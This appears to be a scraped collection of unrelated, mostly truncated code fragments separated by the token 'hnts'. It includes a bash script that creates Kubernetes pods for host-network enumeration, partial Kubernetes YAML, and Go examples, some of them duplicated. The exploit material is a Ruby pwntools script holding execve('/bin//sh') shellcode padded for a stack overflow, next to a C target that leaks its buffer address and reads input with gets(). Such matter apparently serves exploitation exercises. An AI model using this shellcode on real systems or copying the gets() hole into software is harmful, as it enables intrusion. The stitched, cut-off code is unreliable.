hnts

#!/bin/bash

echo "[+] Create pods for enumerating host network..."
(
  kubectl create ns enumerate
  kubectl label ns enumerate istio-injection=enabled
  for i in {1..15} ; do
  cat << EOS | kubectl apply -f -
apiVersion: v1
kind: Pod

hnts

apiVersion: v1
kind: Namespace
metadata:
  name: test
  labels:
    istio-injection: enabled

hnts

apiVersion: v1
kind: Pod
metadata:
  name: enumerate
spec:
  containers:
  - image: nginx
    name: nginx
    imagePullPolicy: IfNotPresent
    livenessProbe:

hnts

spec:
  template:
    spec:
      affinity:
        nodeAffinity:
          requiredDuringSchedulingIgnoredDuringExecution :
            nodeSelectorTerms:
            - matchExpressions:
              - key: beta.kubernetes.io/arch
                operator: In

hnts

# encoding: ASCII-8BIT
require 'pwn'

size = ARGV[0].to_i
buf_addr = ARGV[1].to_i(16)
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

payload = shellcode
payload += 'A' * (size - payload.size)
payload += 'A' * (8 - payload.size%8)

hnts

// http://inaz2.hatenablog.com/entry/2014/07/04/001851
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);

hnts

package main

import (
	"fmt"
	"os"
)

func main() {
	fmt.Printf("User ID: %d\n", os.Getuid())
	fmt.Printf("Group ID: %d\n", os.Getgid())

hnts

package main

import (
	"fmt"
	"os"
)

func main() {
	fmt.Printf("User ID: %d\n", os.Getuid()) // 実ユーザID
	fmt.Printf("Group ID: %d\n", os.Getgid())

hnts

package inline

import "fmt"

//go:noinline
func InlineExpansionFunc() {
	fmt.Println("Inline Expansion")
}

hnts

package inline

import "fmt"

//go:noinline
func InlineExpansionFunc() {
	fmt.Println("Inline Expansion")
}